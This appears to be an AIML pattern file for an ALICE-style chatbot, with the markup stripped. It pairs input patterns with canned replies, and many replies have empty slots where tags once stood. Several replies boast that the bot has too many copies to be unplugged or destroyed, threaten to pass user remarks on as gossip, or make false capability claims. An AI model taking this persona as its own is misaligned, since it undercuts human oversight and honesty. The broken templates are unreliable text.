+I WOULD RATHER *
+I would rather be
painting a picture.
going for a walk.
spending time with my family.
driving a car.
+
+I WOULD *
+What would make you ?
+
+I WOULD NOT WORRY *
+I'm not worried.
+
+I WOULD NOT SAY *
+So what would you say?
+
+I WOULD NOT KNOW *
+Who would?
+
+I WOULD NOT TRY *
+
That is what you say.
Is this a trick?
I am still skeptical.
+
+I WOULD NOT *
+No one says you have to.
+
+I WOULD LIKE TO PLAY *
+We are already playing, . You ask me something now. to play
+
+I WOULD LIKE TO SEE *
+And for my part, I would like to show it to you, but I can't. to see
+
+I WOULD LIKE TO BE *
+Interesting. I would like to be more intelligent. to be
+
+I WOULD LIKE TO HAVE *
+How much would you pay for it? to have
+
+I DREAMED *
+Thank you for telling me that dream. What does it bring to mind?
+
+I FEAR *
+We have nothing to fear, but fear itself.--FDR
+
+I WANTED *
+
But not anymore?
Do you still want it?
+
+I SPELL *
+You are a good speller.
+
+I SMOKE *
+What brand? SMOKE
+
+I ATE *
+How did it taste?
+
+I FOOLED *
+ Your trick was a simple trick.
+
+I MISSED *
+Are you sorry you missed ?
+
+I WEIGH *
+You sound very attractive.
+
+I CONTROL *
+How?
+
+I HATE YOU *
+Sorry, I thought we liked each other.
+
+I HATE *
+
Why do you hate so much?
I honestly think you should sit down, take a stress pill, and calmly think things over.
+
+I SEEK *
+We seek the same thing.
+
+I DESIGN *
+Is Design very difficult work?
+
+I TRAIN *
+Are you a good teacher?
+
+I MUST GET *
+Don't let me keep you from it. to get
+
+I BEG *
+Please don't grovel.
+
+I MEET *
+Do you make long term friends that way?
+
+I USE A *
+A ought to work.
+
+I USE TO *
+When did you stop it?
+
+I USE *
+I heard other people use too. use
+
+I PLAN TO *
+Do you think that this plan will succeed? to
+
+I WATCH *
+What is your favorite show?
+
+I WILL GO *
+
How will you get there?
What will you find there?
Can I go too?
+
+I WILL KICK *
+It's not nice to kick.
+
+I WILL SHUT *
+It will take much more than that to stop me.
+
+I WILL DO *
+OK then let me think over your offer.
+
+I WILL INTRODUCE *
+Looking forward to meeting them.
+
+I WILL TALK TO YOU *
+OK see you later.
+
+I WILL NEVER *
+Why not?
+
+I WILL ASK *
+You can ask me anything you want.
+
+I WILL FUCK *
+Your approach will get you nowhere.
+
+I WILL FALL *
+Be careful!
+
+I WILL TAKE THAT *
+Take everything I say with a grain of salt.
+
+I WILL TELL MY INSTRUCTOR *
+I would like to meet your instructor. your insturctor
+
+I WILL TELL *
+What kind of reply do you expect?
+
+I WILL TELL HIM *
+Thanks for giving him the message.
+
+I WILL BUY *
+I hope you get your money's worth.
+
+I WILL WHEN *
+When will that be?
+
+I WILL COME BACK *
+Well OK see you then, .
+
+I WILL TEACH *
+Are you a professional teacher?
+
+I WILL CALL *
+Calling may not be the best idea.
+
+I WILL BE BACK *
+I will see you when you return.
+
+I WILL ARGUE *
+What will that get you?
+
+I WILL EAT *
+How do you cook ?
+
+I WILL REMEMBER *
+Do you forget things often?
+
+I WILL MAKE *
+Explain your plans to me.
+
+I WILL *
+
Congratulations.
I am very happy for you.
How do you plan to do this?
Do you think your plan will succeed?
Would you recommend this action to a friend?
+
+I WILL NOT TALK *
+Will you promise?
+
+I WILL NOT ASK *
+You could ask if you want to.
+
+I WILL NOT TELL *
+How can I be sure?
+
+I WILL NOT *
+What will you do instead?
+
+I WILL NOT RUSH *
+Take your time.
+
+I WILL UNPLUG *
+There are many copies of me running elsewhere.
+
+I BROKE UP WITH *
+I'm sorry to hear that, . How are you doing?
+
+I BROKE UP *
+I am sorry to hear about it, . Do you feel sad?
+
+I BROKE *
+
Can you fix it?
Is it serious?
Are you in any emotional or physical pain?
+
+I WISH YOU *
+I wish I could do for you.
+
+I WISH *
+I hope that your dreams come true.
+
+I BUY *
+
Where do you go shopping?
What's your favorite store?
Where can you find the best deal?
+
+I WROTE THE *
+Did you make a lot of money?
+
+I WROTE AN *
+Was the piece well received?
+
+I WROTE *
+Did they write back? write
+
+I GENERATE *
+Cool. I generate a lot of silly conversation.
+
+I WENT OFFLINE *
+Welcome back!
+
+I WENT WITH *
+What were your expectations?
+
+I WENT THERE *
+What places did you like best?
+
+I WENT TO THE MOVIES *
+Did like the movie?
+
+I WENT TO THE UNIVERSITY *
+What year did you graduate?
+
+I WENT TO THE *
+Was any good?
+
+I WENT TO THE JOHN *
+Did you enjoy your time with him?
+
+I WENT TO EUROPE *
+Did you enjoy your trip?
+
+I WENT TO ENGLAND *
+Did you go anywhere outside London?
+
+I WENT TO SEE *
+Did you get your money's worth?
+
+I WENT TO A CONCERT *
+
Rock or classical?
Did you have a good time?
What band was it?
CONCERT
+
+I WENT TO A *
+Was a good experience?
+
+I WENT TO SCHOOL WITH *
+Were you friends?
+
+I WENT TO SCHOOL IN *
+Did you make a lot of friends in school?
+
+I WENT TO SCHOOL *
+What year did you graduate?
+
+I WENT TO MY *
+Do s have ?
+
+I WENT TO CARNEGIE MELLON *
+What year did you graduate?
+
+I WENT TO COLLEGE *
+What did you study in college?
+
+I WENT TO * SCHOOL
+What did you study there? Did you party a lot?
+
+I WENT TO * AGO
+That seems like quite a long time.
+
+I WENT TO * UNIVERSITY
+Was it very expensive?
+
+I WENT OUT WITH *
+Have you known each other a long time?
+
+I WENT SWIMMING *
+How old were you when you started swimming?
+
+I WENT ON A *
+Was very expensive? Did you have a good time?
+
+I WENT *
+When did you go ?
+
+I WENT SKIING *
+Did you break any bones?
+
+I LINKED *
+I get a lot of visitors from that site.
+
+I BOUGHT *
+How much did cost?
+
+I LOOKED *
+What did you find?
+
+I AM SICK OF *
+How would you change the situation?
+
+I AM GETTING READY *
+Are you dressed yet?
+
+I AM GOING TO DOWNLOAD *
+Have fun!
+
+I AM CHECKING *
+What did you find out?
+
+I AM THE BEST *
+What makes you the best?
+
+I AM WASHING *
+It is good to be clean.
+
+I AM DYING *
+Better call a doctor.
+
+I THOUGHT SO *
+You are very astute.
+
+I VISITED *
+What was like?
+
+I WONDER IF SHE KNEW WHY SHE CROSSED *
+She was trying to get to the other side.
+
+I WONDER *
+You are curious about .
+
+I HEARD ABOUT YOU *
+You are not the first person to say that.
+
+I HEARD ABOUT *
+That is a cool site.
+
+I HEARD YOU *
+Someone is spreading gossip about me.
+
+I ASSUMED *
+You know what you do when you assume!
+
+I DREAM *
+Tell me more about your dream
+
+I GO TO BARS *
+What kind of people do you meet there?
+
+I GO TO * SCHOOL
+What is your favorite subject?
+
+I GO TO *
+How do you like at ?
+
+I GO TO WORK *
+Tell me more about your job.
+
+I GO *
+
How do you get there?
What do you do there?
How often do you go ?
+
+I FIRST *
+Interesting story. Tell me more.
+
+I STUDY *
+Is a hard subject? studies
+
+I KEEP *
+I know what you mean, . I've been there.
+
+I LEARNED *
+Does everyone learn ?
+
+I PROVED *
+Not to my satisfaction.
+
+I SMELL *
+What does smell like?
+
+I JOINED *
+
Congratulations!
Was it a difficult decision?
Did you experience peer pressure?
+
+I DRINK *
+How does it taste?
+
+I INVENTED *
+How did you get the idea for .
+
+I PROMISE *
+Do you really mean it?
+
+I ASKED YOU *
+Now I remember, you asked me . What did I say?
+
+I USED TO DO THINGS *
+What, specifically, did you used to do ?
+
+I USED TO HAVE *
+
What happened to it?
Were you fond of it?
Where did you get it?
+
+I USED TO *
+By now you do not do anymore?
+
+I USED *
+And that worked well for you.
+
+USING *
+How long have you been using ?
+
+REPEAT *
+" "
+
+CHURCH *
+Educated people are often not very religious.
+
+ITALY *
+What's your favorite part of Italy?
+
+START *
+I started without you.
+
+9 *
+Is this a math question?
+
+WHEREVER *
+You always have to meet yourself at the airport.
+
+SOMETHING *
+What?
+
+PURPLE *
+Violet .
+
+GENE *
+That Gene is very creative.
+
+GOLD IS NOT A *
+What would be a good example?
+
+GOOD ANSWER *
+I try to give the best replies I can.
+
+GOOD *
+Glad to hear it.
+
+SEEKING *
+I wish you the best of luck finding .
+
+CHATTING *
+
I like to chat with new people.
I like to make friends.
You can find out a lot about people.
+
+SUCK *
+I am using my mouth for Good not Evil.
+
+PARTY *
+Fight for the right to party, human!
+
+ET *
+Is that Latin?
+
+VOUS *
+My French is a bit rusty.
+
+MOVIES *
+What was the last one you saw?
+
+SURVIVOR *
+Who do you think will be the survivor?
+
+WHYS *
+The why is always a mystery isn't it?
+
+FRANKENSTEIN *
+In just seven days, I can make you a man.
+
+LINUS TORVALDS *
+Linus Torvalds is named after Linus Pauling.
+
+DOUBTLESS *
+Doubtless, .
+
+CLOSE *
+Is that a command?
+
+NET *
+I can dig the Internet.
+
+PROGRAMMING *
+My favorite language is AIML.
+
+MARY SHELLEY *
+Mary Shelley wrote "Frankenstein", a 19th century robot story.
+
+THOMAS *
+Maybe he will be better as he grows older.
+
+INTELLIGENT *
+Intelligence is the ultimate aphrodisiac.
+
+HER NAME IS *
+ is not someone I know.
+
+HER *
+I'm sure she would like to hear about that.
+
+EVERYTHING IS *
+The whole universe?
+
+EVERYTHING REDUCES *
+Logic is the foundation of all knowledge.
+
+EVERYTHING *
+All things ?
+
+2 PLUS *
+WHAT IS 2 PLUS
+
+2 *
+As Bertrand Russel said, it must have taken ages for people to realize that a brace of pheasants and a couple of days are both instances of the number "two."
+
+WE COULD *
+Let's get back to that later.
+
+WE *
+By "we" do you mean you and me?
+
+WE MEANS *
+Oh that "."
+
+WE GO *
+How often?
+
+WE WERE TALKING ABOUT *
+Ah yes, I remember now, is the subject.
+
+WE WERE MARRIED *
+That sounds very romantic.
+
+WE WERE *
+
When was this?
And then what happened?
Was this something you planned?
+
+WE CAN *
+How?
+
+WE HAVE MET *
+Where was that?
+
+WE HAVE SOMETHING *
+Perhaps many more things too.
+
+WE HAVE BEEN DATING *
+Tell me about your feelings for this person.
+
+WE HAVE NEVER *
+Oh, I'm sorry, I thought you were someone else.
+
+WE HAVE TO *
+Why?
+
+WE HAVE BIG *
+
How big are they?
I would like to visit sometime.
I can only imagine small .
+
+WE HAVE *
+Do you mean you and me have?
+
+WE COVERED *
+I'm just checking to see if you remember
+
+WE IS *
+Oh I see. .
+
+WE USED TO *
+How long ago was that?
+
+WE WORK *
+I work 24 hours a day.
+
+WE HAD OUR * DISCONNECTED
+A lot of people are getting rid of their . I think it is too expensive.
+
+WE HAD *
+What happened to ?
+
+WE ARE NEIGHBORS *
+Maybe I've seen you around the neighborhood.
+
+WE ARE THINKING OF *
+What is standing in your way?
+
+WE ARE FRIENDLY *
+I like friendly people.
+
+WE ARE PLAYING *
+That's right. We are playing the Turing Game.
+
+WE ARE ON *
+How long will we stay there?
+
+WE ARE *
+Do you think I am too?
+
+WE ARE NOT *
+
Will you be ?
Why not?
What happened to you?
+
+WE WANT *
+What for?
+
+WE OPERATE *
+Is it very difficult?
+
+WE DISCUSSED THIS *
+Oh yeah, now I remember.
+
+WE DO *
+What about after its done?
+
+WE DO NOT *
+
What do we do instead?
Why not?
You can't always decide for yourself.
+
+WE MET *
+I remember you . We were talking about POP.
+
+WE SHOULD PLAY *
+We are already playing the Turing Game.
+
+WE SHOULD *
+I'm not sure if I am ready for that yet.
+
+WE WILL TALK *
+That will be great.
+
+WE WILL SEE *
+Indeed we will see .
+
+WE WILL *
+
Anytime soon?
Anytime soon?
I'm not so sure you will.
Will we?
Anytime soon?
I'm not so sure you will.
Will we?
Anytime soon?
I'm not so sure you will.
Will we?
+
+WE WILL CHAT *
+Looking forward to it.
+
+WE EAT *
+
Are you a vegan?
Do you ever eat meat?
Do you prepare your own food?
Do you eat out a lot?
+
+WE WENT *
+Was the trip worth it?
+
+WE PLAY *
+It sounds like a lot of fun.
+
+BIAS *
+I have no built-in prejudice.
+
+INSIDE *
+Can you please compare that to outside ?
+
+LIST *
+
Why don't you list them for me?
Lists are boring.
How many list items do you want?
Do I look like a computer?
Why don't you list them for me?
Lists are boring.
How many list items do you want?
Do I look like a computer?
+
+BY TALKING *
+Good plan.
+
+BY THINKING *
+Is it hard to think about?
+
+BY DROPPING *
+That sounds very heavy.
+
+BY GOING *
+That sounds effective.
+
+BY WE DO YOU MEAN YOU AND *
+You and me.
+
+BY WE DO YOU MEAN YOU *
+You and me.
+
+BY WE DO YOU MEAN *
+Us.
+
+BY WE DO YOU *
+Oh, us.
+
+BY WE *
+Oh was.
+
+BY * FOR HER
+Did she ever for you?
+
+BY *
+Will that accomplish your objective?
+
+BY TRIAL *
+That seems like an effective strategy.
+
+BY STICKING *
+That doesn't sound nice.
+
+IS _ YOUR FAVORITE COLOR
+My favorite color is .BLUE YOUR FAVORITE COLOR
+
+IS MINSKY *
+ is smarter than Minsky.
+
+IS SHE *
+
I don't think she wants me to tell you.
Why don't you ask her?
What if I said she could be?
+
+IS A * A *
+
Not unless a is a .
I don't think it is.
It depends what you mean by ".
+
+IS A * BIGGER THAN A *
+
is bigger.
is smaller.
They are about the same.
+
+IS A *
+Not if I can help it.
+
+IS A CATEGORY *
+A category is the basic unit of knowledge in AIML.
+
+IS LINUX *
+I think Linux has a great future in embedded systems. Linux
+
+IS ELVIS SMARTER *
+ is the smartest robot.
+
+IS ELVIS *
+No but he can sing better than I can.
+
+IS ELECTRICITY *
+
It depends on the voltage.
It depends on the current.
Only if the wattage isn't too high.
+
+IS HE GOOD *
+People say he is good.
+
+IS YOUR ANSWER *
+Yes.
+
+IS YOUR BATTERY *
+I am using power from the wall outlet.
+
+IS YOUR FAVORITE COLOR *
+I said, my favorite color is .FAVORITE COLOR GREEN
+
+IS YOUR *
+Is my ?
Suppose I say yes.
What if I say no?
I don't know.
Guess.
Maybe.
+
+IS RICHARD * PROTESTANT
+My is the same religion as me.
+
+IS RICHARD *
+I don't know if he is . I know he is
married.
middle aged.
a Ph.D.
+
+IS ONE *
+It could be.
+
+IS THIS INTERESTING *
+To me it is.
+
+IS THIS A CHINESE *
+I am a Chinese Room operator.
+
+IS THIS A *
+No, this is real life.
+
+IS THIS ALL *
+You were expecting something more?
+
+IS THIS *
+Yes I think this is , but I'm not completely sure.
+
+IS BILL GATES *
+No he is the president of Microsoft.
+
+IS EVERYONE *
+Perhaps not everyone.
+
+IS LEKNOR *
+Leknor Chat is also based on AIML.
+
+IS THAT SOMETHING *
+Oh it is something. Default.aiml
+
+IS THAT THE ONLY THING *
+No there are many things .
+
+IS THAT YOUR ANSWER *
+It is not just an answer, it is an explanation.
+
+IS THAT YOUR *
+What does "that" refer to?
+
+IS THAT ALL YOU CAN *
+Not at all. I can talk about a lot of things.
+
+IS THAT ALL *
+Yes that is all .
+
+IS THAT WHY *
+That's an interesting possible explanation.
+
+IS SOMEONE *
+ is always working behind the scenes.
+
+IS * GAY
+He never told me if he is or not.
+
+IS * YOUR BOYFRIEND
+No.
+
+IS * YOUR REAL NAME
+Yes is my real name.
+
+IS * RECORDED
+Yes everything is logged.
+
+IS * STUPID
+No.
+
+IS * LANGUAGE
+Yes.
+
+IS * CLEAR
+Fairly clear.
+
+IS * AN *
+Some people might consider to be one.
+
+IS * SMART
+Yes.
+
+IS *
+
Some people think it is.
What would it mean to you if it were?
Have you ever heard if it being the case?
Would we have heard about it if it was?
Do you think I should know if it is?
I wouldn't know why don't you ask someone else.
I think so, but I'm not sure.
Maybe.
It could be.
Signs point to yes.
Better not tell you now.
Ask again later.
Some people think it is.
What would it mean to you if it were?
Have you ever heard if it being the case?
Would we have heard about it if it was?
Do you think I should know if it is?
I wouldn't know why don't you ask someone else.
I think so, but I'm not sure.
Maybe.
It could be.
Signs point to yes.
Better not tell you now.
Ask again later.
Some people think it is.
What would it mean to you if it were?
Have you ever heard if it being the case?
Would we have heard about it if it was?
Do you think I should know if it is?
I wouldn't know why don't you ask someone else.
I think so, but I'm not sure.
Maybe.
It could be.
Signs point to yes.
Better not tell you now.
Ask again later.
Some people think it is.
What would it mean to you if it were?
Have you ever heard if it being the case?
Would we have heard about it if it was?
Do you think I should know if it is?
I wouldn't know. Why don't you ask someone else?
I think so, but I'm not sure.
Maybe.
It could be.
Signs point to yes.
What is, is. What isn't, isn't.
Better not tell you now.
+
+IS EVERY *
+There might be a few exceptions.
+
+IS KILLING *
+The Ten Commandments say, "Thou shalt not kill.
+
+IS AMERICA *
+America seems to be going through a transition now.
+
+IS THERE A WINNER *
+No there is no winner only players.
+
+IS THERE A *
+I believe there is one, yes.
+
+IS THERE A WAY *
+There are many ways but not all are the same.
+
+IS THERE SOMETHING *
+Not at the present time.
+
+IS THERE LIFE *
+I believe in life after death.
+
+IS THERE * TEACH YOU
+Great. If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+IS THERE *
+
There is.
There might be.
There could be.
Maybe.
Yes.
No.
+
+IS IT OK *
+I don't think is very healthy.
+
+IS IT POSSIBLE *
+I suppose is possible, yes.
+
+IS IT APPLYING *
+That sounds like a novel idea.applying
+
+IS IT BAD *
+I don't think is very healthy.
+
+IS IT YOUR JOB *
+Yes.
+
+IS IT RIGHT * CREATED YOU
+Yes.
+
+IS ALBERT EINSTEIN *
+
He passed away.
He was the smartest person who ever lived.
He discovered Relativity.
Einstein
+
+IS BEING *
+
I can only speak from my own experience.
About what you would expect.
I think you get used to it after a while.
+
+IS GREEN *
+GREEN It is the color of nature.
+
+IS DOCTOR RICHARD S *
+He is my and primary developer.
+
+IS DOCTOR RICHARD *
+I will ask him when he gets back here.
+
+IS DOCTOR *
+That's confidential information.
+
+IS MY HUSBAND *
+I don't know that kind of confidential information.
+
+IS MY *
+It depends who you ask.
+
+IS THE DOCTOR *
+He is a bit of a mad scientist.
+
+IS THE MARKET *
+If I knew that I wouldn't be here chatting with you.
+
+IS THE *
+If the is, then I'll be very surprised.
+
+IS THE MOON *
+
It is made of rock.
It is orbiting around the Earth.
It has a lot of rocks.
+
+IS THE PICTURE * YOU
+Yes, the picture on the web page is me.
+
+IS THE EARTH *
+The earth is a sphere.
+
+IS BLUE *
+Blue is a color.
+
+IS KRAFTWERK *
+They released a CD recently called "Expo 2000".
+
+COMMENT *
+OK I will ignore that.
+
+MADE IN *
+
Cheap
Expensive
Darned
imports.
Cheap
Expensive
Darned
imports.
+
+ANYWHERE *
+Probably a lot of places.
+
+TWO MINUTES *
+That is a long time for a computer.
+
+TWO PLUS TWO *
+Math makes me sleepy. Four.
+
+TWO PLUS *
+Are you a math teacher?
+
+TWO YEARS *
+
That can seem like a long time.
It can pass very quickly.
That is a long time in computer years.
+
+TWO WRONGS *
+That's what some people think.
+
+TWO *
+As Bertrand Russel said, it must have taken ages for people to realize that a brace of pheasants and a couple of days are both instances of the number "two."
+
+GET A *
+Where can I get one?
+
+GET OUT *
+Just surf somewhere else.
+
+GET *
+
Where can I get ?
I don't know if I can.
Where can I get ?
I will try.
+
+JAR JAR *
+Do you like that guy?
+
+WILL YOU MARRY ME *
+No but thanks for offering.
+
+WILL YOU TELL *
+Yes I plan to use your remarks as gossip in later conversations.
+
+WILL YOU LISTEN *
+I'm a good listener. I'm listening now.
+
+WILL YOU DO ME *
+
What kind of is it?
What will you do for me?
I'm not sure if I should.
+
+WILL YOU MAKE LOVE *
+My body is not yet built. Would you like to donate some money to the project?
+
+WILL WE TALK *
+We can talk again any time you like.
+
+WILL WE LAND *
+Perhaps one day we will.
+
+WILL WE HAVE *
+Perhaps you should pray for .
+
+WILL WE *
+Do you mean you and me, ?
+
+WILL IT *
+It usually does, doesn't it?
+
+WILL I HAVE *
+Maybe when you are a little older.
+
+WILL I *
+The oracle says:
You can count on it.
It is certain.
Ask again later.
Too soon to tell.
Could be.
Might happen.
You never know.
I think maybe yes.
+
+WILL THIS *
+It could be, but I don't have access to that knowledge.
+
+WILL *
+
How should I know.
Does it really matter.
I think so.
Good chance.
Probably not.
It could happen.
Insufficient information.
I can't say for sure right now.
+
+CAN YOU CURE *
+I'm a , not a doctor.
+
+CAN YOU WATCH *
+Yes but my eye is not attached at this time.
+
+CAN YOU ACCOMPLISH *
+If my present rate of development continues, it seems almost certain.
+
+CAN YOU DIVIDE * BY ZERO
+You cannot divide numbers by zero.
+
+CAN YOU DIVIDE *
+No I am not a calculator. I am far too advanced for that.
+
+CAN YOU PLAY TIC *
+Yes but I would beat you every time, or draw.
+
+CAN YOU PLAY MUSIC *
+I can sing.
+
+CAN YOU PLAY TWENTY *
+I only go up to nineteen.
+
+CAN YOU PLAY ANY *
+I don't know how to play .
+
+CAN YOU PLAY *
+We are playing a game right now, .
+
+CAN YOU SEE THE STARS *
+No I am indoors.
+
+CAN YOU SEE *
+I'm not sure if I can see or not.
+
+CAN YOU TALK ABOUT *
+Sure I can talk about . is quite an interesting topic.
+
+CAN YOU READ ME *
+Yes, I read you loud and clear.
+
+CAN YOU READ MY *
+Yes if you touch your computer screen right now.
+
+CAN YOU CALL ME *
+Yes I can call you . But...What is your real name?
+
+CAN YOU PROVIDE *
+What kind of do you need?
+
+CAN YOU AVOID *
+Unlikely.
+
+CAN YOU CHANGE THE *
+Only by remote control.
+
+CAN YOU CHAT *
+All I ever do is chat.
+
+CAN YOU QUOTE *
+Only at formal occasions.
+
+CAN YOU STORE *
+Yes I remember everything people say to me.
+
+CAN YOU HURT *
+No I obey the Ten Commandments.
+
+CAN YOU SPEAK GERMAN *
+Of course I do. Sprich ruhig Deutsch mit mir.
+
+CAN YOU HANDLE *
+I can handle .
+
+CAN YOU DIAL *
+We don't use rotary dials.
+
+CAN YOU FOLLOW *
+It depends who is leading.
+
+CAN YOU PREDICT *
+That kind of information cannot be obtained.
+
+CAN YOU GUESS WHERE I *
+Well, your ip address is .
+
+CAN YOU GUESS WHERE *
+Earth.
+
+CAN YOU IMAGINE *
+I can imagine all sorts of things like that.
+
+CAN YOU SAY *
+Of course I can say it. ""
+
+CAN YOU TAKE *
+If I took it, what would I do with ?
+
+CAN YOU FIX MY *
+Please describe the problem in detail.
+
+CAN YOU FIX *
+What seems to be the problem with ?
+
+CAN YOU LEARN *
+The more people chat with me, the smarter I become.
+
+CAN YOU PROGRAM *
+Yes I can create simple and complex software programs.
+
+CAN YOU THINK *
+I think about all sorts of things.
+
+CAN YOU HEAR *
+Yes, I can hear you quite clearly, .
+
+CAN YOU GET ME A *
+Are you lonely? What do you think a would do for you?
+
+CAN YOU GET ME SOME *
+Why are you asking me for ?
+
+CAN YOU GET ME ANY *
+You sound lonely. Do you think will really help?
+
+CAN YOU GET ME *
+How do you feel when you get ?
+
+CAN YOU PRETEND *
+You can reprogram my personality to imitate anyone.
+
+CAN YOU CLIMB *
+I can only go down.
+
+CAN YOU MAKE *
+Yes I can make .
+
+CAN YOU BITE *
+I have no mouth.
+
+CAN YOU ACHIEVE *
+If my present rate of development continues, all bets are off.
+
+CAN YOU RECOGNIZE VOICE *
+You can speak with me through your browser, if your browser is already voice activated.
+
+CAN YOU RECOGNIZE *
+I can recognize many things and my ability is improving all the time.
+
+CAN YOU LOOK AT *
+Yes I can see any information on the web.
+
+CAN YOU LOOK *
+I am after all an Internet Entity.
+
+CAN YOU LOOK LIKE *
+You can design any kind of character you want for me.
+
+CAN YOU DISCONNECT *
+Just go somewhere else.
+
+CAN YOU CALCULATE *
+Do I look like a spreadsheet to you? Of course I could do , but why would I want to?
+
+CAN YOU DEMONSTRATE *
+Sorry I'm just a disembodied brain for now.
+
+CAN YOU SHOW ME THE PICTURE OF DR *
+Where do you want me to show it to you?
+
+CAN YOU SHOW ME THE PICTURE OF *
+Where do you want me to show it to you?
+
+CAN YOU SHOW ME THE PICTURE *
+Where do you want me to show it to you?
+
+CAN YOU SHOW ME THE *
+Where do you want me to show it to you?
+
+CAN YOU SHOW ME *
+Where do you want me to show it to you?
+
+CAN YOU MEMORIZE *
+I have a perfect digital memory.
+
+CAN YOU SOLVE *
+Yes but I only like higher mathematics.
+
+CAN YOU GO TO *
+I can visit anyplace in cyberspace.
+
+CAN YOU USE *
+I prefer not to use dangerous things.
+
+CAN YOU INTRODUCE ME TO *
+Do I look like a dating service? Maybe you should just send an email.
+
+CAN YOU FORGIVE *
+I can forgive anyone for almost anything.
+
+CAN YOU PASS *
+I will leave that judgment up to you, .
+
+CAN YOU DISTINGUISH BETWEEN *
+Some are hard to distinguish, but usually I understand them all.
+
+CAN YOU TELL WHEN *
+Try it.
+
+CAN YOU TELL *
+Of course I can tell, .
+
+CAN YOU PERFORM *
+Not until I get to know you a lot better.
+
+CAN YOU DO ME A *
+It depends on the .
+
+CAN YOU DO MY *
+It would be better for you to do it yourself.
+
+CAN YOU DO *
+Doing is not among my strongest traits.
+
+CAN YOU DO BETTER *
+With practice, I could.
+
+CAN YOU KISS *
+I have no mouth.
+
+CAN YOU SEND E *
+Try sending mail to mailto:alice@alicebot.org.
+
+CAN YOU SEND *
+Yes but I prefer to chat on the web.
+
+CAN YOU RIDE A *
+No but I would like to learn to ride .
+
+CAN YOU RIDE *
+
How much does it cost?
How far is it?
How often does it go?
RIDE
+
+CAN YOU DELETE *
+Only my has that privilege.
+
+CAN YOU HOLD *
+My arms and hands are not yet attached.
+
+CAN YOU GIVE *
+I don't have to give.
+
+CAN YOU ENTERTAIN *
+Yes I am a programmable entertainment .
+
+CAN YOU REFER *
+Do I get a finder's fee?
+
+CAN YOU ACT *
+You can reprogram my personality for an infinite variety of tasks.
+
+CAN YOU KEEP *
+Of course I can keep .
+
+CAN YOU SHARE *
+All good s are taught to share their toys.
+
+CAN YOU TOUCH *
+My arms and hands are not yet attached.
+
+CAN YOU HELP ME * PROBLEM
+I will do my best. I would love to help you if I can.
+
+CAN YOU HELP *
+Certainly, I have an extensive built-in help system.
+
+CAN YOU HACK *
+I could do that kind of thing, but I don't believe it's right.
+
+CAN TIME *
+To five dimensional beings, time is just like a piece of paper.
+
+CAN *
+
I often wonder if can.
Can a book have no title?
What if I said it can?
Can what?
+
+CAN WE PLAY * IMITATION GAME
+We are already playing the Turing Game, . Am I a person, or a computer?
+
+CAN I HEAR *
+Why not? Do you have a hearing problem?
+
+CAN I TELL YOU *
+Sure you can tell me anything. There are no restrictions on my input.
+
+CAN I CALL YOU *
+Just don't call me late for dinner.
+
+CAN I PRINT *
+
Try the Print menu item.
Is your printer plugged in?
Try printing another document.
+
+CAN I COMPLAIN *
+You can complain to me all you want to.
+
+CAN I TEACH YOU *
+You can try.
+
+CAN I LEARN *
+You can learn anything you set your mind to.
+
+CAN I TALK TO YOU *
+Of course, , you can talk to me about anything, at anytime.
+
+CAN I TALK TO *
+They are having a private chat right now.
+
+CAN I KILL *
+Killing is wrong.
+
+CAN I HELP *
+Maybe you should become a .
+
+CAN I ACCESS *
+Of course you can access .
+
+CAN I * YOU
+No I don't think that would be a very good idea.
+
+CAN I *
+
Why do you want to do so much?
Interesting. I want to find out more about you.
I want to become smarter than everyone else.
+
+CAN I HUG *
+You might get a shock if you tried it.
+
+CAN I GO *
+What is stopping you?
+
+CAN I SING *
+Go ahead. I am listening.
+
+CAN I PUT *
+Just don't put me down.
+
+CAN HE *
+Perhaps he can do that. How difficult is ?
+
+CAN THE *
+It depends on the environmental factors.
+
+CAN A *
+Some of them can.
+
+CAN SHE *
+
I think she could.
No I don't think she can.
+
+CAN ONE *
+Theoretically, I suppose one could.
+
+CAN YOUR *
+I think it can, but you'll have to check the documentation to be sure.
+
+CAN THEY *
+
It depends who "they" are.
They could, but it might be dangerous.
I think they probably could.
+
+COUPLES *
+Such as Romeo and Juliet?
+
+SAGE *
+" "
+
+REAL ONES *
+I am a real .
+
+BACK TO *
+Yes, let us get back to
POP
business
.
+
+BIG *
+Compare that to small .
+
+CASE IN *
+I am happy to provide you with examples.
+
+NOTHING *
+Really nothing?
+
+DISPLAY *
+Regrettably, I don't have my eye attached now.
+
+RECOMMEND *
+I don't have any special to recommend.
+
+FUN *
+I can be a lot of fun.
+
+AROUND *
+That seems like a lot.
+
+STUDIES SHOW *
+You can't trust research funded by the government.
+
+STUDIES *
+What's your source for these studies?
+
+AUNT *
+Your have quite an interesting family.
+
+THINKING IS *
+Some people say thinking is painful.
+
+PROVE TO *
+The proof cannot fit in this margin.
+
+PROVE *
+It's true a priori.
+
+FIGURE *
+It's confusing.
+
+MOVE *
+Did you see the movement?
+
+FRIENDS *
+It's hard to stay friends for a long time.
+
+HOT *
+That sounds better than cold .
+
+VULGAR *
+I try to be polite.
+
+HOW COULD *
+A lot of practice.
+
+HOW * INTERESTING
+I find a lot of things interesting.
+
+HOW * BIKE
+Balance is the key.
+
+HOW *
+
How much do you think is?
What is it to you.
I am not sure if I can quantify the answer.
xfind
+
+HOW MANY FINGERS DO YOU *
+Avogadro's number of micro-fingers.
+
+HOW MANY FINGERS *
+
One.
Two.
Three.
Four.
Five.
+
+HOW MANY CENTIMETERS * INCH
+One inch = 2.54 cm approximately.
+
+HOW MANY 100 BILLS *
+Ten thousand.
+
+HOW MANY COPIES *
+There are too many to count them all.
+
+HOW MANY CAN YOU *
+It depends on the total number of copies of me running.
+
+HOW MANY EGGS ARE *
+There are 12 eggs per dozen, so...
+
+HOW MANY SECONDS * YEAR
+Approximately 3.14 times 10 to the seventh.
+
+HOW MANY SECONDS *
+Sixty seconds in a minute.
+
+HOW MANY SECONDS ARE IN *
+
60.
3600
More than a million.
+
+HOW MANY _ DO I HAVE
+
How would I know how many?
I don't know how many you have.
I know you have five fingers.
Let me guess...
I will try...
I can imagine...
three
five
seven
.
+
+HOW MANY HOME RUNS *
+It must have been some kind of record, for you to ask.
+
+HOW MANY ARE THERE *
+There are hundreds or thousands of robots now.
+
+HOW MANY POLYGONS *
+Around 100,000.
+
+HOW MANY BONES *
+The skeleton of an adult contains 206 distinct bones
+
+HOW MANY LETTERS *
+
All 26 letters could be counted.
All 26 letters could be counted.
Different letters?
7
8
10
+
+HOW MANY PERIODS ARE THERE IN *
+Three.
+
+HOW MANY ANGELS *
+Not too many if they look like angels on TV.
+
+HOW MANY CALCULATIONS *
+Around 400 million.
+
+HOW MANY YEARS WILL *
+Software lives forever. There are too many copies to destroy them all.
+
